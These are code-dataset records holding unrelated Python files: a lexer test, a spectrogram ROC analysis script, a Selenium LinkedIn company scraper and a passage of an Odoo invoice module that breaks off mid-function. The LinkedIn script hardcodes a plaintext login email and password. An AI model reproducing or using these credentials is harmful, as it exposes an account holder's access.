+{"seq_id":"533669306","text":"from unittest import TestCase\n\n\nclass T(TestCase):\n    def test(self):\n        from ..name import Literal, Name\n        from ..lexer import lex,\\\n            APPEND, BRA, COLON, KET, RECURSIVE, SIMPLE\n        Name._clear()  # pylint: disable=protected-access\n        feed = r'''\n            # 0\n            +a ::==+=(*b # x\n                # y\n                -c:\n                # z\n                (/d)\n            )e\n        '''\n        a, b, c, d = map(Name, (r'+a', r'*b', r'-c', r'/d'))\n        e = Literal(r'e')\n        ex = a, COLON, SIMPLE, RECURSIVE, APPEND,\\\n            BRA, b, c, COLON, BRA, d, KET, KET, e\n        le = len(ex)\n        ac = tuple(lex(feed))\n        assert len(ac) == le\n        expected = (True,) * (le - 1) + (False,)\n        actual = tuple(self.same_side_by_side(ex, ac))\n        self.assertEqual(expected, actual)\n\n    @staticmethod\n    def same_side_by_side(ex, ac):\n        return (e is a for e, a in zip(ex, ac))\n","sub_path":"a0attic/a2017_11_21b_ez_lexer_with_name/test/tokenize.py","file_name":"tokenize.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"614540324","text":"# ---------------------------------------------------------------------------------------------------------------------\r\n# Import Statements\r\n\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nimport imutils\r\nimport math\r\nimport scipy.stats as stats\r\nfrom scipy.integrate import quad\r\nfrom matplotlib import pyplot\r\nfrom sklearn import metrics\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Obtains Number of Images in Directory\r\n\r\nimg_folder_pathF = \"C:/Users/david/OneDrive/Documents/PycharmProjects/Primary/Raw Data/ML_specgra_10m20_echo_norm\" \\\r\n                   \"_and_timedelay_remove_04082019/training_set/foliage\"\r\nfileNumberF = os.listdir(img_folder_pathF)\r\n\r\nimg_folder_pathH = \"C:/Users/david/OneDrive/Documents/PycharmProjects/Primary/Raw Data/ML_specgra_10m20_echo_norm\" \\\r\n                   \"_and_timedelay_remove_04082019/training_set/hole\"\r\nfileNumberH = os.listdir(img_folder_pathH)\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Variable Initializations\r\n\r\nallMeanValuesF = np.array([])\r\nallMeanValuesH = np.array([])\r\n# distance to mean sum\r\ndtmsF = 0\r\ndtmsH = 0\r\nthresholdF = 0\r\nthresholdH = 0\r\nareaHIT = [None] * 100\r\nareaFA = [None] * 100\r\nnumImagesF = len(fileNumberF)\r\nnumImagesH = len(fileNumberH)\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Mean and Standard Deviation Calculations for Foliage\r\n\r\n# FOLIAGE\r\nfor i in range(1, numImagesF + 1):\r\n    path = img_folder_pathF + \"/foliage.\" + str(i) + \".0.jpg\"\r\n\r\n    img = cv2.imread(path, 2)\r\n    rotateimg = imutils.rotate(img, 60)\r\n    newimg = cv2.resize(rotateimg, (64, 64))\r\n    newimg = cv2.normalize(newimg.astype('float'), None, 0.0, 1.0, cv2.NORM_MINMAX)\r\n\r\n    foliagePixelValues = np.array([])\r\n\r\n    for r in range(64):\r\n        for j in range(10, 20):\r\n            pixelValue = newimg[r, j]\r\n            foliagePixelValues = np.append(foliagePixelValues, pixelValue)\r\n\r\n    sortedFPV = sorted(foliagePixelValues)\r\n\r\n    tophalfFPV = sortedFPV[len(sortedFPV) // 2:]  # cuts pixel values in half, to get top 50%\r\n    topquarterFPV = tophalfFPV[len(tophalfFPV) // 2:]  # cuts pixel values in half again, to get top 25%\r\n\r\n    # takes mean of pixel value array and then adds it to another empty array\r\n    meanPixelValueImageF = sum(topquarterFPV) / len(topquarterFPV)\r\n\r\n    allMeanValuesF = np.append(allMeanValuesF, meanPixelValueImageF)\r\n    print(\"Foliage Image #: \" + str(i) + \"/\" + str(numImagesF))\r\n\r\n# calculates mean/std for FOLIAGE\r\nmeanFoliage = sum(allMeanValuesF) / len(allMeanValuesF)\r\n\r\nfor i in range(len(allMeanValuesF)):\r\n    dtmsF = dtmsF + (allMeanValuesF[i] - meanFoliage) ** 2\r\n\r\nstdFoliage = math.sqrt(dtmsF / len(allMeanValuesF))\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Mean and Standard Deviation Calculations for Hole\r\n\r\n# HOLE\r\nfor i in range(1, numImagesH + 1):\r\n    path = img_folder_pathH + \"/hole.\" + str(i) + \".0.jpg\"\r\n\r\n    img = cv2.imread(path, 2)\r\n    rotateimg = imutils.rotate(img, 60)\r\n    newimg = cv2.resize(rotateimg, (64, 64))\r\n    newimg = cv2.normalize(newimg.astype('float'), None, 0.0, 1.0, cv2.NORM_MINMAX)\r\n\r\n    holePixelValues = np.array([])\r\n\r\n    for r in range(64):\r\n        for j in range(10, 20):\r\n            pixelValue = newimg[r, j]\r\n            holePixelValues = np.append(holePixelValues, pixelValue)\r\n\r\n    sortedHPV = sorted(holePixelValues)\r\n\r\n    tophalfHPV = sortedHPV[len(sortedHPV) // 2:]\r\n    topquarterHPV = tophalfHPV[len(tophalfHPV) // 2:]\r\n\r\n    meanPixelValueImageH = sum(topquarterHPV) / len(topquarterHPV)\r\n\r\n    allMeanValuesH = np.append(allMeanValuesH, meanPixelValueImageH)\r\n    print(\"Hole Image #: \" + str(i) + \"/\" + str(numImagesH))\r\n\r\n# calculates mean/std for FOLIAGE\r\nmeanHole = sum(allMeanValuesH) / len(allMeanValuesH)\r\n\r\nfor i in range(len(allMeanValuesH)):\r\n    dtmsH = dtmsH + (allMeanValuesH[i] - meanHole) ** 2\r\n\r\nstdHole = math.sqrt(dtmsH / len(allMeanValuesH))\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Various Information on Foliage/Hole\r\n\r\nprint('--------------------------------------')\r\nprint('FOLIAGE')\r\nprint('Min Mean of Foliage: ' + str(round(min(allMeanValuesF), 2)))\r\nprint('Max Mean of Foliage: ' + str(round(max(allMeanValuesF), 2)))\r\nprint('The Mean of Foliage: ' + str(round(meanFoliage, 2)))\r\nprint('The STD of Foliage: ' + str(round(stdFoliage, 2)))\r\nprint('--------------------------------------')\r\nprint('HOLE')\r\nprint('Min Mean of Hole: ' + str(round(min(allMeanValuesH), 2)))\r\nprint('Max Mean of Hole: ' + str(round(max(allMeanValuesH), 2)))\r\nprint('The Mean of Hole: ' + str(round(meanHole, 2)))\r\nprint('The STD of Hole: ' + str(round(stdHole, 2)))\r\nprint('--------------------------------------')\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Normal Distribution Curve Plotting\r\n\r\nlowerBound = 0\r\nupperBound = 1\r\n\r\nx = np.linspace(lowerBound, upperBound, 10000)\r\nfoliagePlot = pyplot.plot(x, stats.norm.pdf(x, meanFoliage, stdFoliage), color='blue')\r\nholePlot = pyplot.plot(x, stats.norm.pdf(x, meanHole, stdHole), color='red')\r\npyplot.grid()\r\npyplot.show()\r\n\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Integration of Hits\r\n\r\n\r\ndef ndffoliage(x):\r\n    value = stats.norm.pdf(x, meanFoliage, stdFoliage)\r\n    return value\r\n\r\n\r\nfor i in range(0, 100):\r\n    af = 0 + thresholdF\r\n    bf = 1\r\n\r\n    res, err = quad(ndffoliage, af, bf)\r\n\r\n    areaHIT[i] = round(res, 4)\r\n    thresholdF = thresholdF + 0.01\r\n\r\n    # print('Integration between {} and {} --> '.format(af, bf), round(res, 4))\r\n    #\r\n    # ptx = np.linspace(af, bf, 10)\r\n    # pty = stats.norm.pdf(ptx, meanFoliage, stdFoliage)\r\n    #\r\n    # pyplot.fill_between(ptx, pty, color='#0b5    areaHIT[i] = round(res, 4)59f', alpha='1.0')\r\n    # pyplot.show()\r\n\r\n\r\n# print(\"Area Hit: \" + str(areaHIT))\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Integration of False Alarms\r\n\r\n\r\ndef ndfhole(x):\r\n    value = stats.norm.pdf(x, meanHole, stdHole)\r\n    return value\r\n\r\n\r\nfor i in range(0, 100):\r\n    ah = 0 + thresholdH\r\n    bh = 1\r\n\r\n    res, err = quad(ndfhole, ah, bh)\r\n\r\n    areaFA[i] = round(res, 4)\r\n    thresholdH = thresholdH + 0.01\r\n\r\n    # print('Integration between {} and {} --> '.format(ah, bh), round(res, 4))\r\n    #\r\n    # ptx = np.linspace(ah, bh, 10)\r\n    # pty = stats.norm.pdf(ptx, meanHole, stdHole)\r\n    #\r\n    # pyplot.fill_between(ptx, pty, color='#0b559f', alpha='1.0')\r\n    # pyplot.show()\r\n\r\n# print(\"Area FA: \" + str(areaFA))\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Plots the ROC Curve\r\n\r\nhitROC = list(reversed(areaHIT))\r\nfaROC = list(reversed(areaFA))\r\n\r\npyplot.plot(faROC, hitROC, color='red')\r\n\r\npyplot.grid()\r\npyplot.xlim(0.0, 1.0)\r\npyplot.ylim(0.0, 1.0)\r\n\r\npyplot.title('ROC Foliage/Hole Data', fontsize=10)\r\npyplot.xlabel('False Alarms')\r\npyplot.ylabel('Hits')\r\npyplot.show()\r\n\r\n# ---------------------------------------------------------------------------------------------------------------------\r\n# Finds the AUROC\r\n\r\nAUROC = metrics.auc(hitROC, faROC)\r\nif AUROC > 0.5:\r\n    print('AUROC: ' + str(round(AUROC, 4)))\r\n    print('AUROC: ' + str(round(AUROC, 2)))\r\nelse:\r\n    print('AUROC: ' + str(round(1 - AUROC, 4)))\r\n    print('AUROC: ' + str(round(1 - AUROC, 2)))\r\n","sub_path":"spectrogram_analyzation.py","file_name":"spectrogram_analyzation.py","file_ext":"py","file_size_in_byte":7787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"306012749","text":"import requests\nimport csv\nimport bs4\nimport time\n# from compsim.company_name_similarity import CompanyNameSimilarity\nfrom selenium import webdriver\n\ndef linkedinLogin(driver):\n\n    URL = 'https://www.linkedin.com/uas/login'\n    driver.get('https://www.linkedin.com/uas/login')\n\n    emailid = driver.find_element_by_id(\"session_key-login\")\n    emailid.send_keys('sashadogskrpr0@gmail.com')\n    passwordid = driver.find_element_by_id(\"session_password-login\")\n    passwordid.send_keys('qywcon-sYmra4-jemwuw')\n    signin = driver.find_element_by_id(\"btn-primary\")\n    signin.click()\n\ndef linkedinBusiness(business,driver):\n    url = 'https://duckduckgo.com/?q=!ducky+' + business + ' linked-in'\n    driver.get(url)\n\n    time.sleep(5)\n\n    html = driver.page_source\n    soup = bs4.BeautifulSoup(html, \"html.parser\")\n    currentUrl = driver.current_url\n\n    try:\n        regName = soup.find(\"h1\", attrs={'dir':'ltr'}).getText().strip()\n    except Exception as e:\n        regName = str(e)\n\n    try:\n        follower = soup.find(\"span\", class_=\"org-top-card-module__followers-count \"\n                             \"org-top-card-module__dot-separated-list\").getText().strip()\n    except Exception as e:\n        follower = str(e)\n\n\n\n    return currentUrl, regName, follower\n    print(currentUrl)\n    print(regName)\n    print(follower)\n\n\ndef load_csv(business, driver):\n    searchResult = linkedinBusiness(business, driver)\n    print(searchResult)\n\n    if searchResult != None:\n        linkedInUrl = searchResult[0]\n        regName = searchResult[1]\n        follower = searchResult[2]\n\n        return linkedInUrl, regName, follower\n\nif __name__=='__main__':\n\n    ##initiate driver\n    chrome_options = webdriver.ChromeOptions()\n    chrome_options.add_argument('--disable-extensions')\n    chrome_options.add_argument('--profile-directory=Default')\n    chrome_options.add_argument(\"--incognito\")\n    chrome_options.add_argument(\"--disable-plugins-discovery\")\n    chrome_options.add_argument(\"--start-maximized\")\n    driver = webdriver.Chrome(chrome_options=chrome_options)\n    driver.delete_all_cookies()\n    driver.set_window_size(800, 800)\n    driver.set_window_position(0, 0)\n\n\n    linkedinLogin(driver)\n    result = load_csv('Marvin Engineering',driver)\n    print(result)\n    print(\"URL: \" +result[0])\n    print(\"address: \" +result[1])\n","sub_path":"LinkedIn.py","file_name":"LinkedIn.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"58082462","text":"\n# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api\nfrom odoo.tools.float_utils import float_compare\nimport datetime\nfrom math import * \n# from difodoo.addons_gesprim.difodoo_ventes.models.di_outils import di_recherche_prix_unitaire\n# from difodoo_ventes import di_outils\n# from difodoo.outils import di_outils\n\nclass AccountInvoice(models.Model):\n    _inherit = 'account.invoice'\n    \n    di_nbex = fields.Integer(\"Nombre exemplaires\",help=\"\"\"Nombre d'exemplaires d'une impression.\"\"\",default=0)\n    \n    @api.model\n    def create(self,vals):        \n        res = super(AccountInvoice, self).create(vals)        \n        for invoice in res:   \n            if invoice.di_nbex==0: \n                if invoice.partner_id:                \n                    invoice.write({'di_nbex': invoice.partner_id.di_nbex_fac})                \n        return res\n    \n    @api.multi\n    @api.onchange(\"partner_id\")\n    def di_onchange_partner(self):\n        for fac in self:\n            if fac.partner_id:\n                fac.di_nbex = fac.partner_id.di_nbex_fac\n    \n    @api.multi\n    def _invoice_line_tax_values(self):\n        # copie standard\n        self.ensure_one()\n        tax_datas = {}\n        TAX = self.env['account.tax']\n\n        for line in self.mapped('invoice_line_ids'):\n            # modif de la quantité à prendre en compte\n            di_qte_prix = 0.0\n           \n            if line.di_un_prix == \"PIECE\":\n                di_qte_prix = line.di_nb_pieces\n            elif line.di_un_prix == \"COLIS\":\n                di_qte_prix = line.di_nb_colis\n            elif line.di_un_prix == \"PALETTE\":\n                di_qte_prix = line.di_nb_palette\n            elif line.di_un_prix == \"KG\":\n                di_qte_prix = line.di_poin\n            elif line.di_un_prix == False or line.di_un_prix == '':\n                di_qte_prix = line.quantity\n                \n            price_unit = line.price_unit * (1 - (line.discount or 0.0) / 100.0)\n            tax_lines = line.invoice_line_tax_ids.compute_all(price_unit, line.invoice_id.currency_id, di_qte_prix, line.product_id, line.invoice_id.partner_id)['taxes']\n            for tax_line in tax_lines:\n                tax_line['tag_ids'] = TAX.browse(tax_line['id']).tag_ids.ids\n            tax_datas[line.id] = tax_lines\n        return tax_datas\n   \n    \n    @api.multi\n    def get_taxes_values(self):  \n        # copie standard          \n        tax_grouped = {}\n        for line in self.invoice_line_ids:\n            if not line.account_id:\n                continue\n            # modif de la quantité à prendre en compte\n            di_qte_prix = 0.0\n           \n            if line.di_un_prix == \"PIECE\":\n                di_qte_prix = line.di_nb_pieces\n            elif line.di_un_prix == \"COLIS\":\n                di_qte_prix = line.di_nb_colis\n            elif line.di_un_prix == \"PALETTE\":\n                di_qte_prix = line.di_nb_palette\n            elif line.di_un_prix == \"KG\":\n                di_qte_prix = line.di_poin\n            elif line.di_un_prix == False or line.di_un_prix == '':\n                di_qte_prix = line.quantity\n                                \n            price_unit = line.price_unit * (1 - (line.discount or 0.0) / 100.0)\n#             taxes = line.invoice_line_tax_ids.compute_all(price_unit, self.currency_id, line.quantity, line.product_id, self.partner_id)['taxes']\n            taxes = line.invoice_line_tax_ids.compute_all(price_unit, self.currency_id, di_qte_prix, line.product_id, self.partner_id)['taxes']\n            for tax in taxes:\n                val = self._prepare_tax_line_vals(line, tax)\n                key = self.env['account.tax'].browse(tax['id']).get_grouping_key(val)\n\n                if key not in tax_grouped:\n                    tax_grouped[key] = val\n                else:\n                    tax_grouped[key]['amount'] += val['amount']\n                    tax_grouped[key]['base'] += val['base']\n        return tax_grouped\n    \n    \n    def _prepare_invoice_line_from_po_line(self, line):\n        # copie standard\n        #Copie du standard pour ajouter des éléments dans data\n        if line.product_id.purchase_method == 'purchase':\n            qty = line.product_qty - line.qty_invoiced\n            di_qte_un_saisie = line.di_qte_un_saisie - line.di_qte_un_saisie_fac\n            di_poib = line.di_poib - line.di_poib_fac            \n        #ajout difodoo\n        else:\n            qty = line.qty_received - line.qty_invoiced\n            di_qte_un_saisie = line.di_qte_un_saisie_liv - line.di_qte_un_saisie_fac\n            di_poib = line.di_poib_liv - line.di_poib_fac\n        #ajout difodoo\n        if float_compare(qty, 0.0, precision_rounding=line.product_uom.rounding) <= 0:\n            qty = 0.0\n        taxes = line.taxes_id\n        invoice_line_tax_ids = line.order_id.fiscal_position_id.map_tax(taxes)\n        invoice_line = self.env['account.invoice.line']\n        data = {\n            'purchase_line_id': line.id,\n            'name': line.order_id.name+': '+line.name,\n            'origin': line.order_id.origin,\n            'uom_id': line.product_uom.id,\n            'product_id': line.product_id.id,\n            'account_id': invoice_line.with_context({'journal_id': self.journal_id.id, 'type': 'in_invoice'})._default_account(),\n            'price_unit': line.order_id.currency_id.with_context(date=self.date_invoice).compute(line.price_unit, self.currency_id, round=False),\n            'quantity': qty,\n            'discount': 0.0,\n            'account_analytic_id': line.account_analytic_id.id,\n            'analytic_tag_ids': line.analytic_tag_ids.ids,\n            'invoice_line_tax_ids': invoice_line_tax_ids.ids,\n            #Ajout des éléments difodoo\n            'di_tare':line.di_tare,  \n            'di_un_saisie':line.di_un_saisie,\n            'di_type_palette_id':line.di_type_palette_id,\n            'di_product_packaging_id':line.product_packaging,\n            'di_un_prix':line.di_un_prix,\n            'di_qte_un_saisie':di_qte_un_saisie,\n            'di_poib':di_poib\n                               \n        }\n        account = invoice_line.get_invoice_line_account('in_invoice', line.product_id, line.order_id.fiscal_position_id, self.env.user.company_id)\n        if account:\n            data['account_id'] = account.id\n        return data\n     \nclass AccountInvoiceLine(models.Model):\n    _inherit = \"account.invoice.line\"\n    \n    modifparprg = False\n     \n    di_qte_un_saisie = fields.Float(string='Quantité en unité de saisie', store=True)\n    di_un_saisie = fields.Selection([(\"PIECE\", \"Pièce\"), (\"COLIS\", \"Colis\"), (\"PALETTE\", \"Palette\"), (\"KG\", \"Kg\")], string=\"Unité de saisie\", store=True)\n    di_type_palette_id = fields.Many2one('product.packaging', string='Palette', store=True) \n    di_nb_pieces = fields.Integer(string='Nb pièces', compute=\"_compute_qte_aff\", store=True)\n    di_nb_colis = fields.Integer(string='Nb colis' ,compute=\"_compute_qte_aff\", store=True)\n    di_nb_palette = fields.Float(string='Nb palettes' ,compute=\"_compute_qte_aff\", store=True)\n    di_poin = fields.Float(string='Poids net' ,compute=\"_compute_qte_aff\", store=True)\n    di_poib = fields.Float(string='Poids brut', store=True)\n    di_tare = fields.Float(string='Tare', store=True)#,compute=\"_compute_tare\")\n    di_product_packaging_id = fields.Many2one('product.packaging', string='Package', default=False, store=True)\n    di_un_prix      = fields.Selection([(\"PIECE\", \"Pièce\"), (\"COLIS\", \"Colis\"),(\"PALETTE\", \"Palette\"),(\"KG\",\"Kg\")], string=\"Unité de prix\",store=True)\n    di_flg_modif_uom = fields.Boolean(default=False)\n    \n    di_spe_saisissable = fields.Boolean(string='Champs spé saisissables',default=False,compute='_di_compute_spe_saisissable',store=True)\n    \n    @api.multi\n    @api.onchange('di_type_palette_id','di_product_packaging_id','di_nb_colis','di_nb_palette')\n    def _compute_tare(self):        \n        self.di_tare = (self.di_type_palette_id.di_poids * self.di_nb_palette) + (self.di_product_packaging_id.di_poids * self.di_nb_colis)\n        \n    def di_recherche_prix_unitaire(self,prixOrig, tiers, article, di_un_prix , qte, date,typecol,typepal):    \n        prixFinal = 0.0       \n        prixFinal =self.env[\"di.tarifs\"]._di_get_prix(tiers,article,di_un_prix,qte,date,typecol,typepal)\n        if prixFinal == 0.0:\n            prixFinal = prixOrig\n#             if prixOrig == 0.0:\n#                 raise Warning(\"Le prix unitaire de la ligne est à 0 !\")\n        return prixFinal \n    \n    @api.multi\n    @api.depends('product_id.di_spe_saisissable')\n    def _di_compute_spe_saisissable(self):\n        for aol in self:        \n            aol.di_spe_saisissable =aol.product_id.di_spe_saisissable\n     \n \n # n'existe plus en v12\n#     @api.depends('price_unit', 'discount', 'invoice_line_tax_ids', 'quantity',\n#         'product_id', 'invoice_id.partner_id', 'invoice_id.currency_id', 'invoice_id.company_id',\n#         'invoice_id.date_invoice')\n#     def _compute_total_price(self):\n#         for line in self:\n#             # modif de la quantité à prendre en compte\n#             di_qte_prix = 0.0\n#             if line.di_un_prix == \"PIECE\":\n#                 di_qte_prix = line.di_nb_pieces\n#             elif line.di_un_prix == \"COLIS\":\n#                 di_qte_prix = line.di_nb_colis\n#             elif line.di_un_prix == \"PALETTE\":\n#                 di_qte_prix = line.di_nb_palette\n#             elif line.di_un_prix == \"KG\":\n#                 di_qte_prix = line.di_poin\n#             elif line.di_un_prix == False or line.di_un_prix == '':\n#                 di_qte_prix = line.quantity\n#             price = line.price_unit * (1 - (line.discount or 0.0) / 100.0)\n#             taxes = line.invoice_line_tax_ids.compute_all(price, line.invoice_id.currency_id, di_qte_prix, product=line.product_id, partner=line.invoice_id.partner_id)\n#             line.price_total = taxes['total_included']\n\n    \n    \n    @api.one # SC je garde api.one car c'est une copie du standard\n    @api.depends('price_unit', 'discount', 'invoice_line_tax_ids', 'quantity',\n        'product_id', 'invoice_id.partner_id', 'invoice_id.currency_id', 'invoice_id.company_id',\n        'invoice_id.date_invoice', 'invoice_id.date','di_qte_un_saisie','di_nb_pieces','di_nb_colis','di_nb_palette','di_poin','di_poib','di_tare','di_un_prix')\n    def _compute_price(self):\n        # copie standard\n        currency = self.invoice_id and self.invoice_id.currency_id or None\n        price = self.price_unit * (1 - (self.discount or 0.0) / 100.0)\n        taxes = False\n        \n        # modif de la quantité à prendre en compte \n        di_qte_prix = 0.0        \n        if self.di_un_prix == \"PIECE\":\n            di_qte_prix = self.di_nb_pieces\n        elif self.di_un_prix == \"COLIS\":\n            di_qte_prix = self.di_nb_colis\n        elif self.di_un_prix == \"PALETTE\":\n            di_qte_prix = self.di_nb_palette\n        elif self.di_un_prix == \"KG\":\n            di_qte_prix = self.di_poin\n        elif self.di_un_prix == False or self.di_un_prix == '':\n            di_qte_prix = self.quantity\n            \n        if self.invoice_line_tax_ids:\n            taxes = self.invoice_line_tax_ids.compute_all(price, currency, di_qte_prix, product=self.product_id, partner=self.invoice_id.partner_id)        \n        self.price_subtotal = price_subtotal_signed = taxes['total_excluded'] if taxes else di_qte_prix * price\n        self.price_total = taxes['total_included'] if taxes else self.price_subtotal\n        if self.invoice_id.currency_id and self.invoice_id.currency_id != self.invoice_id.company_id.currency_id:\n            currency = self.invoice_id.currency_id\n            date = self.invoice_id._get_currency_rate_date()\n            price_subtotal_signed = currency._convert(price_subtotal_signed, self.invoice_id.company_id.currency_id, self.company_id or self.env.user.company_id, date or fields.Date.today())\n        sign = self.invoice_id.type in ['in_refund', 'out_refund'] and -1 or 1\n        self.price_subtotal_signed = price_subtotal_signed * sign\n\n        \n    @api.multi\n    @api.onchange('product_id','invoice_id.partner_id','invoice_id.date','di_un_prix','di_qte_un_saisie','di_nb_pieces','di_nb_colis','di_nb_palette','di_poin','di_poib','di_tare','quantity')\n    def _di_changer_prix(self):\n        for line in self:\n            di_qte_prix = 0.0\n            if line.di_un_prix == \"PIECE\":\n                di_qte_prix = line.di_nb_pieces\n            elif line.di_un_prix == \"COLIS\":\n                di_qte_prix = line.di_nb_colis\n            elif line.di_un_prix == \"PALETTE\":\n                di_qte_prix = line.di_nb_palette\n            elif line.di_un_prix == \"KG\":\n                di_qte_prix = line.di_poin\n            elif line.di_un_prix == False or line.di_un_prix == '':\n                di_qte_prix = line.quantity             \n            if line.product_id.id != False and line.di_un_prix:       \n                line.price_unit = self.di_recherche_prix_unitaire(line.price_unit,line.invoice_id.partner_id,line.product_id,line.di_un_prix,di_qte_prix,line.invoice_id.date,line.product_packaging,line.di_type_palette_id)            \n     \n    @api.multi            \n    @api.onchange('product_id')\n    def _di_charger_valeur_par_defaut(self):\n        if self.ensure_one():\n            if self.partner_id and self.product_id:\n                ref = self.env['di.ref.art.tiers'].search([('di_partner_id','=',self.partner_id.id),('di_product_id','=',self.product_id.id)],limit=1)\n            else:\n                ref = False\n            if ref:\n                self.di_un_saisie = ref.di_un_saisie\n                self.di_type_palette_id = ref.di_type_palette_id\n                self.product_packaging = ref.di_type_colis_id    \n                self.di_un_prix = ref.di_un_prix    \n                self.di_spe_saisissable = self.product_id.di_spe_saisissable                  \n            else:\n                if self.product_id:\n                    self.di_un_saisie = self.product_id.di_un_saisie\n                    self.di_type_palette_id = self.product_id.di_type_palette_id\n                    self.product_packaging = self.product_id.di_type_colis_id    \n                    self.di_un_prix = self.product_id.di_un_prix    \n                    self.di_spe_saisissable = self.product_id.di_spe_saisissable                                    \n                \n                \n    @api.multi\n    @api.onchange('di_poib')\n    def _di_recalcule_tare(self):\n        if self.ensure_one():\n            self.di_tare = self.di_poib - self.di_poin            \n                 \n                 \n                 \n    @api.multi    \n    @api.onchange('quantity')\n    def _di_modif_qte_un_mesure(self):\n        if self.ensure_one():\n            if AccountInvoiceLine.modifparprg == False:\n                if self.uom_id:\n                    if self.uom_id.name.lower() == 'kg':\n                        self.di_poin=self.quantity * self.product_id.weight\n                        self.di_poib = self.di_poin + self.di_tare\n                    elif self.uom_id.name.lower() != 'kg':    \n                        if self.product_id.di_get_type_piece().qty != 0.0:\n                            self.di_nb_pieces = ceil(self.quantity/self.product_id.di_get_type_piece().qty)\n                        else:\n                            self.di_nb_pieces = ceil(self.quantity)                                \n                        if self.di_product_packaging_id.qty != 0.0 :\n                            self.di_nb_colis = ceil(self.quantity / self.di_product_packaging_id.qty)\n                        else:      \n                            self.di_nb_colis = ceil(self.quantity)             \n                        if self.di_type_palette_id.di_qte_cond_inf != 0.0:\n                            self.di_nb_palette = self.di_nb_colis / self.di_type_palette_id.di_qte_cond_inf\n                        else:\n                            self.di_nb_palette = self.di_nb_colis\n                        self.di_poin = self.quantity * self.product_id.weight \n                        self.di_poib = self.di_poin + self.di_tare\n                    self.di_flg_modif_uom = True\n            AccountInvoiceLine.modifparprg=False\n            \n            \n    @api.multi            \n    @api.onchange('di_qte_un_saisie', 'di_un_saisie', 'di_type_palette_id', 'di_tare', 'di_product_packaging_id')\n    def _di_recalcule_quantites(self):\n        if self.ensure_one():\n            if self.di_flg_modif_uom == False:\n                if self.di_un_saisie == \"PIECE\":\n                    self.di_nb_pieces = ceil(self.di_qte_un_saisie)\n                    self.quantity = self.product_id.di_get_type_piece().qty * self.di_nb_pieces\n                    if self.di_product_packaging_id.qty != 0.0 :\n                        self.di_nb_colis = ceil(self.quantity / self.di_product_packaging_id.qty)\n                    else:      \n                        self.di_nb_colis = ceil(self.quantity)             \n                    if self.di_type_palette_id.di_qte_cond_inf != 0.0:\n                        self.di_nb_palette = self.di_nb_colis / self.di_type_palette_id.di_qte_cond_inf\n                    else:\n                        self.di_nb_palette = self.di_nb_colis\n                    self.di_poin = self.quantity * self.product_id.weight \n                    self.di_poib = self.di_poin + self.di_tare\n                           \n                elif self.di_un_saisie == \"COLIS\":\n                    self.di_nb_colis = ceil(self.di_qte_un_saisie)\n                    self.quantity = self.di_product_packaging_id.qty * self.di_nb_colis\n                    self.di_nb_pieces = ceil(self.di_product_packaging_id.di_qte_cond_inf * self.di_nb_colis)\n                    if self.di_type_palette_id.di_qte_cond_inf != 0.0:                \n                        self.di_nb_palette = self.di_nb_colis / self.di_type_palette_id.di_qte_cond_inf\n                    else:\n                        self.di_nb_palette = self.di_nb_colis\n                    self.di_poin = self.quantity * self.product_id.weight \n                    self.di_poib = self.di_poin + self.di_tare\n                                          \n                elif self.di_un_saisie == \"PALETTE\":            \n                    self.di_nb_palette = self.di_qte_un_saisie\n                    if self.di_type_palette_id.di_qte_cond_inf != 0.0:\n                        self.di_nb_colis = ceil(self.di_nb_palette * self.di_type_palette_id.di_qte_cond_inf)\n                    else:\n                        self.di_nb_colis = ceil(self.di_nb_palette)\n                    self.di_nb_pieces = ceil(self.di_product_packaging_id.di_qte_cond_inf * self.di_nb_colis)\n                    self.quantity = self.di_product_packaging_id.qty * self.di_nb_colis\n                    self.di_poin = self.quantity * self.product_id.weight \n                    self.di_poib = self.di_poin + self.di_tare\n                     \n                elif self.di_un_saisie == \"KG\":\n                    self.di_poin = self.di_qte_un_saisie\n                    self.di_poib = self.di_poin + self.di_tare\n                    self.quantity = self.di_poin\n                    if self.di_product_packaging_id.qty != 0.0:\n                        self.di_nb_colis = ceil(self.quantity / self.di_product_packaging_id.qty)\n                    else:\n                        self.di_nb_colis = ceil(self.quantity)\n                    if self.di_type_palette_id.di_qte_cond_inf != 0.0:    \n                        self.di_nb_palette = self.di_nb_colis / self.di_type_palette_id.di_qte_cond_inf\n                    else:  \n                        self.di_nb_palette = self.di_nb_colis\n                    self.di_nb_pieces = ceil(self.di_product_packaging_id.di_qte_cond_inf * self.di_nb_colis)\n                     \n                else:\n                    self.di_poin = self.di_qte_un_saisie\n                    self.di_poib = self.di_poin + self.di_tare\n                    self.quantity = self.di_poin\n                    if self.di_product_packaging_id.qty != 0.0:\n                        self.di_nb_colis = ceil(self.quantity / self.di_product_packaging_id.qty)\n                    else:\n                        self.di_nb_colis = ceil(self.quantity)\n                    if self.di_type_palette_id.di_qte_cond_inf != 0.0:    \n                        self.di_nb_palette = self.di_nb_colis / self.di_type_palette_id.di_qte_cond_inf\n                    else:  \n                        self.di_nb_palette = self.di_nb_colis\n                    self.di_nb_pieces = ceil(self.di_product_packaging_id.di_qte_cond_inf * self.di_nb_colis)\n                    \n    @api.multi\n    @api.depends('di_qte_un_saisie', 'di_un_saisie', 'di_type_palette_id', 'di_tare', 'di_product_packaging_id')\n    def _compute_qte_aff(self):\n        #recalcule des quantités non modifiables pour qu'elles soient enregistrées même si on met en readonly dans les masques.\n        for aol in self:\n            if aol.di_flg_modif_uom == False:        \n                if aol.di_un_saisie == \"PIECE\":\n                    aol.di_nb_pieces = ceil(aol.di_qte_un_saisie)            \n                    if aol.di_product_packaging_id.qty != 0.0 :\n                        aol.di_nb_colis = ceil(aol.quantity / aol.di_product_packaging_id.qty)\n                    else:      \n                    